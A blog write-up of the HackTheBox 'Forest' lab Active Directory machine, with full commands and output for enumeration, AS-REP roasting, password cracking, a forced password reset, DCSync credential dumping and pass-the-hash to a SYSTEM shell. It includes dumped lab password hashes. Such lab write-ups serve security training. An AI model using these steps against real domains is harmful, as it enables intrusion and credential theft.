[HackTheBox] Forest

[HackTheBox] Forest

·

13 min read

Just another RPC / Port ranges / NTLMSSP / ASREPRoast / User DACL Abuse (RPC passwd) / DCSync Write-up.

There might be some discrepencies in this article. Indeed, I will sometimes use cme, and some other times nxc. The methodology, however, remains identical. In the context of this article, cme and nxc are interchangeable.

Machine link.

IppSec Walkthrough.

Footprinting

Open ports

I used, just to change a bit, masscan for the TCP port scan, coupled with an Nmap Script Engine scan to look for vulnerabilities on each open service on the target:

jamarir@kali:~$ sudo masscan -p1-65535 10.10.10.161 --rate=1000 -e tun0 > ports
jamarir@kali:~$ cat ports
Discovered open port 49703/tcp on 10.10.10.161
Discovered open port 445/tcp on 10.10.10.161
Discovered open port 139/tcp on 10.10.10.161
Discovered open port 9389/tcp on 10.10.10.161
Discovered open port 5985/tcp on 10.10.10.161
Discovered open port 3269/tcp on 10.10.10.161
Discovered open port 49665/tcp on 10.10.10.161
Discovered open port 47001/tcp on 10.10.10.161
Discovered open port 49677/tcp on 10.10.10.161
Discovered open port 389/tcp on 10.10.10.161
Discovered open port 464/tcp on 10.10.10.161
Discovered open port 49664/tcp on 10.10.10.161
Discovered open port 49684/tcp on 10.10.10.161
Discovered open port 49676/tcp on 10.10.10.161
Discovered open port 3268/tcp on 10.10.10.161
Discovered open port 49670/tcp on 10.10.10.161
Discovered open port 636/tcp on 10.10.10.161
Discovered open port 49666/tcp on 10.10.10.161
Discovered open port 88/tcp on 10.10.10.161
Discovered open port 49667/tcp on 10.10.10.161
Discovered open port 53/tcp on 10.10.10.161
Discovered open port 135/tcp on 10.10.10.161
Discovered open port 593/tcp on 10.10.10.161
jamarir@kali:~$ nmap -Pn -sV -sC 10.10.10.161 -v2 -oN nse.nmap -p$(grep -oPz '(?s)(?<=Discovered open port )\d+(?=\/tcp)' ports |tr '\0' '\n' |sort -u |tr '\n' ',' |grep -oP '.*(?=.)')
[...]
PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: <DATE>)
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?    syn-ack ttl 127
593/tcp   open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack ttl 127
3268/tcp  open  ldap         syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack ttl 127
5985/tcp  open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       syn-ack ttl 127 .NET Message Framing
47001/tcp open  http         syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49665/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49666/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49676/tcp open  ncacn_http   syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49684/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49703/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
[...]
|_clock-skew: mean: 2h46m51s, deviation: 4h37m09s, median: 6m50s

The Netbios/SMB (139/445), RPC (135,593), WinRM (5985) services reveal this is a Windows machine.

The LDAP/S (389/636), DNS (53), but especially the Kerberos (88) services reveal this machine is a DC (Domain Controller).

First things first, let’s add that machine to our local DNS resolver:

jamarir@kali:~$ sudo sed -i '1i nameserver 10.10.10.161' /etc/resolv.conf

I’ve done the above command on a Kali Virtual Machine. If you’re running a Windows attacker machine, you’ll have to update your Open VPN’s network device’s DNS:

Also, because the machine has port 445 open, we may do a quick CrackMapExec enumeration on that SMB protocol to get its FQDN (Fully Qualified Domain Name): FOREST.htb.local

jamarir@kali:~$ cme smb 10.10.10.161
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)

What are these RPC’s 496xy ports ?!

TLDR: RPC is a default Windows service, accessible on ports 135 (RPC), 139/445 (Netbios/SMB), 593 (HTTP), or 49xyz+.

You may check the Microsoft documentation on RPC, on Service overview and network port requirements for Windows, RFC6335 for the IANA (Internet Assigned Numbers Authority)’s port registration, or Hacktricks, among many resources, to get more details about the RPC protocol.

MSRPC (MicroSoft Remote Procedure Call) is a client-server protocol that allows programs to send commands over the network. RPC manages most of the networking processes, which allows programmers to focus on application’s details, rather than networking issues. For instance, developers can transparently communicate between different types of process (32-bit, 64-bit, 32-bit under 64-bit systems (WOW64)), letting RPC automatically manage the process differences behind the scenes.

This protocol can either be accessed from :

  • RPC on port 135.

  • SMB on port 139/445.

  • HTTP on port 593.

But what are all these 49??? ports in the Nmap’s output ? As RFC6335 states, there are 3 kind of port ranges:

  • The System / Well Known Ports, from 0-1023, assigned by IANA.

  • The User / Registered Ports, from 1024-49151, assigned by IANA.

  • The Dynamic / Private / Ephemeral Ports, from 49152-65535, never assigned.

Thus, the ports 49152 to 65535 are free to use by the system. Most frequently, these ports are assigned to client programs to open a temporary session on a target. For example, whe a client visits an HTTPS website, the server-side port is 443, but the client-side port used to communication is any port after 49152.

For example, on a default Windows 11 machine, we can see some of the same ports (496xy) open as out target:

PS C:\Users\jamarir> netstat -ano |Select-String -Pattern '(?<=\[::\]:496\d{2}.*)\d+(\s*)$' |findstr /v '^$'
  TCP    [::]:49664             [::]:0                 LISTENING       784
  TCP    [::]:49665             [::]:0                 LISTENING       628
  TCP    [::]:49666             [::]:0                 LISTENING       1436
  TCP    [::]:49667             [::]:0                 LISTENING       1920
  TCP    [::]:49669             [::]:0                 LISTENING       2944
  TCP    [::]:49670             [::]:0                 LISTENING       764

We may retrieve these services’ names using the following PowerShell tricks:

PS C:\Users\jamarir> (netstat -ano |Select-String -Pattern '(?<=\[::\]:496\d{2}.*)\d+(\s*)$').Matches.Value -Join ','
784,628,1436,1920,2944,764
PS C:\Users\jamarir> Get-Process -Id 784,628,1436,1920,2944,764

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
   1398      27     7324      21924               784   0 lsass
    661      13     4868      10200               764   0 services
    421      21     5156      13224              2944   0 spoolsv
    400      19     5892      16576              1436   0 svchost
    415      14    15420      14816              1920   0 svchost
    142      11     1408       6652               628   0 wininit

We could also have simply used the Process Explorer tool from the Sysinternals’s suite.

Without going into too much in-depth details (and honestly, I won’t be able to) :

More details can be found in the nasbench’s article.

  • lsass.exe is the LSA (Local Security Authority) Subsystem Service which verifies users logging onto a Windows computer or server, enforces local security policies, handles password changes, creates access tokens, and writes the Windows Security Log. Task Manager shows it’s run by SYSTEM with the description “Local Security Authority Process“.

  • services.exe is the SCM (Service Control Manager), started at system boot. It maintains the database of installed services, starts/stops services upon demand, etc.. Task Manager shows it’s run by SYSTEM with the description “Services and Controller app“.

  • spoolsv.exe (Spooler Service) is an API allowing applications to manage printers and print job. Task Manager shows it’s run by SYSTEM with the description “Spooler SubSystemApp“.

  • svchost.exe (Service Host) allows services’ groups to run in independant instances of the Service Host process, which prevents issues accross instances. Task Manager shows it’s run by SERVICE LOCAL with the description “Host Process for Windows Service“.

  • wininit.exe (Window Initialization) sets the environment variables, creates the W:\Windows\Temp\ folder, launches services.exe / lsass.exe, etc.. The Task Manager shows it’s run by SYSTEM with the description “Windows Start-Up Application“.

Anonymous Rpc2Users ?

We are allowed to interact anonymously with the RPC service in Kali using the tool rpcclient, or enum4linux:

jamarir@kali:~$ enum4linux -a -u '' -p '' 10.10.10.161 -w htb.local > enum4linux.txt
jamarir@kali:~$ cat enum4linux.txt
[...]
[+]  Getting domain group memberships:

Group: 'Exchange Windows Permissions' (RID: 1121) has member: HTB\Exchange Trusted Subsystem
Group: 'Domain Controllers' (RID: 516) has member: HTB\FOREST$
Group: '$D31000-NSEL5BRJ63V7' (RID: 1133) has member: HTB\EXCH01$
Group: 'Domain Admins' (RID: 512) has member: HTB\Administrator
Group: 'Organization Management' (RID: 1104) has member: HTB\Administrator
Group: 'Domain Users' (RID: 513) has member: HTB\Administrator
Group: 'Domain Users' (RID: 513) has member: HTB\DefaultAccount
Group: 'Domain Users' (RID: 513) has member: HTB\krbtgt
Group: 'Domain Users' (RID: 513) has member: HTB\$331000-VK4ADACQNUCA
Group: 'Domain Users' (RID: 513) has member: HTB\SM_2c8eef0a09b545acb

[...]
Group: 'Domain Users' (RID: 513) has member: HTB\HealthMailbox0659cc1
Group: 'Domain Users' (RID: 513) has member: HTB\sebastien
Group: 'Domain Users' (RID: 513) has member: HTB\lucinda
Group: 'Domain Users' (RID: 513) has member: HTB\svc-alfresco
Group: 'Domain Users' (RID: 513) has member: HTB\andy
Group: 'Domain Users' (RID: 513) has member: HTB\mark
Group: 'Domain Users' (RID: 513) has member: HTB\santi
Group: 'Domain Guests' (RID: 514) has member: HTB\Guest
Group: 'Managed Availability Servers' (RID: 1120) has member: HTB\EXCH01$
Group: 'Managed Availability Servers' (RID: 1120) has member: HTB\Exchange Servers
Group: 'Exchange Servers' (RID: 1118) has member: HTB\EXCH01$
Group: 'Exchange Servers' (RID: 1118) has member: HTB\$D31000-NSEL5BRJ63V7
Group: 'Schema Admins' (RID: 518) has member: HTB\Administrator
Group: 'Service Accounts' (RID: 1148) has member: HTB\svc-alfresco
Group: 'Group Policy Creator Owners' (RID: 520) has member: HTB\Administrator
Group: 'Privileged IT Accounts' (RID: 1149) has member: HTB\Service Accounts
Group: 'Domain Computers' (RID: 515) has member: HTB\EXCH01$
Group: 'Enterprise Admins' (RID: 519) has member: HTB\Administrator
Group: 'Exchange Trusted Subsystem' (RID: 1119) has member: HTB\EXCH01$

Here, we can use RPC via an anonymous SMB session using rpcclient:

jamarir@kali:~$ rpcclient 10.10.10.161 -U '%' -c "enumdomusers;quit" > enumdomusers.txt
jamarir@kali:~$ cat enumdomusers.txt
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
[...]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

And retrieve the usernames using the following grep PCRE expression:

jamarir@kali:~$ grep -oP 'user:\[\K.*?(?=\])' enumdomusers.txt > users.txt

Quick NTLMSSP discussion

Looking at the Wireshark traffic for rpcclient, we can see our attacking machine (10.10.14.20) tries to connect to port 445 (SMB), or port 139 (Netbios) if it failed:

Then, we perform an NTLMSSP authentication, over SMB2, with a blank username and password:

NTLMSSP (NT Lan Manager Security Support Provider) is the NTLM authentication protocol over RPC (where option AuthnSvc=RPC_C_AUTHN_WINNT).

Microsoft NTLM is a Windows Challenge/Response authentication protocol, which is either:

  • Interactive (logon authentication), with 2 entities: client, DC.

  • Noninteractive (client already authenticated), with 3 entities: client, server, DC.

A client is a <domain>/<username>:<NTHash> tuple, where NTHash is calculated based on its password. A noninteractive NTLM authentication process is basically made up of 4 exchanges:

  • The client NEGOTIATEs a connection to a server, sending its username.

  • The service CHALLENGEs the client, asking him to encrypt a nonce (8-byte random number).

  • The client AUTHENTICATEs to the server, encrypting the nonce with its NTHash.

  • The server asks the DC if it can replay/check that encryption. If the encryptions match, the DC validates the client’s identity, who can then access the server’s service.

Image taken from the Microsoft’s documentation.

The client’s password is NOT sent/disclosed in the network. Instead, its NTHash is used (as for the Kerberos’s KRB_AS_REQ message). This NTHash is only known by 2 entities: the client, and the DC (in its local SAM (Security Account Manager) database). That’s the reason why the server must forward the AUTHENTICATE message to the DC for verification.

Thus, after the NTLM authentication succeeded, we can get our EnumDomainUsers's response, with 31 users returned:

These entries are retrieved via the SAMR (SAM Remote) Protocol, a protocol used to manage accounts over the network.

ASREPRoast

You may check my Sauna article for more details on this attack.

We have bunch of users, let's check if any of these are ASREPRoastable (i.e. we may impersonate any domain user’s TGT without a password):

jamarir@kali:~$ nxc ldap 10.10.10.161 -u users.txt -p '' --kdcHost 10.10.10.161 --asreproast ASREProastables.txt
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[...]
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
LDAP        10.10.10.161    445    FOREST           $krb5asrep$23$svc-alfresco@HTB.LOCAL:b5e67e44a9b56929fe6ba89bc329f735$76e3bc4fa76ba01e8d4cc44517b94d1eaf749895d455429aa90d31d4484b6b82874f8987766db11687a377d179932934b16aff21764f2a70d36a8cc3b7f8ea4ee5db3c269de75cb570a206c06148890cea3e52e0d734b65915bc554e87992d2de4bac46e46b38809eda8bccc0b6b1c739efaa45b62d58744cfe75fd66a99fb9efdba1fe5d58e6654c3c09ac9da56fc523218dc1cafb6c3708ca9c8a09fc799097552d5d87d5ab5d1d1562e98b6c3b72a97720ff6659c55dfebbea142cff49d6817d55e6b1072cd903dbae9c4aeb668f349a3681c6edb3aa2aecf253fd5cfbb3ba1d07893425c

User svc-alfresco is ASREPRoastable. Thus we may ask a TGT on its behalf to the DC, and crack the NTHash in KRB_AS_REP response:

jamarir@kali:~$ john --wordlist=/usr/share/wordlists/rockyou.txt asrep.hash
s3rvice          ($krb5asrep$23$svc-alfresco@HTB.LOCAL)

Nice ! We have the creds HTB.LOCAL\svc-alfresco:s3rvice. This user is a domain user, and has access to the LDAP service:

jamarir@kali:~$ nxc ldap 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.161    389    FOREST           [+] htb.local\svc-alfresco:s3rvice

Then, we can use BloodHound.py as our LDAP collector, and mark svc-alfresco as owned in BloodHound:

jamarir@kali:~$ ./bloodhound.py -u 'svc-alfresco' -p 's3rvice' -d 'HTB.LOCAL' -dc FOREST.HTB.LOCAL -ns 10.10.10.161 -c all --zip

The Service Accounts OU (Organizational Unit) is a member of the Remote Management Users’s group. This group allows users to get a remote shell through WinRM (port 5985 on the DC). Therefore, any user member of that OU can, transitively, access WinRM.

jamarir@kali:~$ nxc ldap 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' -d 'HTB.LOCAL' --query "(&(memberOf=CN=Remote Management Users,CN=Builtin,DC=HTB,DC=LOCAL))" "objectCategory member"
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.161    389    FOREST           [+] HTB.LOCAL\svc-alfresco:s3rvice
LDAP        10.10.10.161    389    FOREST           [+] Response for object: CN=Privileged IT Accounts,OU=Security Groups,DC=htb,DC=local
LDAP        10.10.10.161    389    FOREST           member:              CN=Service Accounts,OU=Security Groups,DC=htb,DC=local
LDAP        10.10.10.161    389    FOREST           objectCategory:      CN=Group,CN=Schema,CN=Configuration,DC=htb,DC=local

svc-alfresco is in that OU:

jamarir@kali:~$ nxc ldap 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' -d 'HTB.LOCAL' --query "(memberOf=CN=Service Accounts,OU=Security Groups,DC=htb,DC=local)" "distinguishedName"
SMB         10.10.10.161    445    FOREST           [*] Windows Server 2016 Standard 14393 x64 (name:FOREST) (domain:htb.local) (signing:True) (SMBv1:True)
LDAP        10.10.10.161    389    FOREST           [+] HTB.LOCAL\svc-alfresco:s3rvice
LDAP        10.10.10.161    389    FOREST           [+] Response for object: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
LDAP        10.10.10.161    389    FOREST           distinguishedName:   CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local

So we can get a remote shell over the network using evil-winrm, and retrieve the user flag !

jamarir@kali:~$ evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> Get-Content ../desktop/user.txt
42[...]1c

Privilege Escalation

SVC-ALFRESCO can DACL abuse users ? L4g1t !

In BloodHound, we can look for all the shortest paths to Domain Admins, which returns the following layout:

In particular, SVC-ALFRESCO is said to “own” the domain account MAX, who can himself DCSync. Note that the attack vector path is also applicable to the user BEANI. Indeed, both MAX and BEANI are “owned” by SVC-ALFRESCO, and both can DCSync (=GetChanges + GetChangesAll) the domain:

Looking at the BloodHound’s help popup over the Owns link shows:

This privilege we have as SVC-ALFRESCO on users can be exploited in 2 different ways, as Hacktricks shows:

  • Exploit a “Targeted Kerberoast”, where we set an SPN to the owned user. Then, the targeted user becomes Kerberoastable, so we may crack its TGS.

  • Force a password update on the targeted user to impersonate him.

Let’s change MAX’s password to newP@ssword2022 using net rpc password:

jamarir@kali:~$ net rpc password 'max' 'newP@ssword2022' -U 'htb.local'/'svc-alfresco'%'s3rvice' -S forest.htb.local

MAX can DCSync ? L4g1t !

Finally, as shown in the above BloodHound, MAX can DCSync. Then, we can steal domain users’ NTHashes:

jamarir@kali:~$ impacket-secretsdump 'htb.local/max:newP@ssword2022'@10.10.10.161
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[...]
htb.local\sebastien:1145:aad3b435b51404eeaad3b435b51404ee:883047df6f072ada89dab57def574896:::
htb.local\lucinda:1146:aad3b435b51404eeaad3b435b51404ee:4c2af4b2cd8a15b1ebd0ef6c58b879c3:::
htb.local\svc-alfresco:1147:aad3b435b51404eeaad3b435b51404ee:9248997e4ef68ca2bb47ae4e6f128668:::
htb.local\andy:1150:aad3b435b51404eeaad3b435b51404ee:29dfccaf39618ff101de5165b19d524b:::
htb.local\mark:1151:aad3b435b51404eeaad3b435b51404ee:9e63ebcb217bf3c6b27056fdcb6150f7:::
htb.local\santi:1152:aad3b435b51404eeaad3b435b51404ee:483d4c70248510d8e0acb6066cd89072:::
sahil:9601:aad3b435b51404eeaad3b435b51404ee:7a8f5acf21f7006f2106cfddf5207484:::
max:9603:aad3b435b51404eeaad3b435b51404ee:fb54d1c05e301e024800c6ad99fe9b45:::
beani:9605:aad3b435b51404eeaad3b435b51404ee:0a8f0259f4a2eb307ec5913983a38c54:::
FOREST$:1000:aad3b435b51404eeaad3b435b51404ee:fbed4bd65897ad2846930f05bc8b93c4:::
EXCH01$:1103:aad3b435b51404eeaad3b435b51404ee:050105bb043f5b8ffc3a9fa99b5ef7c1:::
[...]
EXCH01$:des-cbc-md5:8c45f44c16975129
[*] Cleaning up...

And Pass-The-Hash the Domain Admin Administrator:

jamarir@kali:~$ impacket-psexec 'htb.local/administrator@10.10.10.161' -hashes ':32693b11e6aa90eb43d32c72a07ceea6'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
[*] Uploading file zrEJBePj.exe
[*] Opening SVCManager on 10.10.10.161.....
[*] Creating service ySjR on 10.10.10.161.....
[*] Starting service ySjR.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

GG WP !

C:\Windows\system32> type c:\Users\Administrator\Desktop\root.txt
c9[...]88

Did you find this article valuable?

Support jamarir's blog by becoming a sponsor. Any amount is appreciated!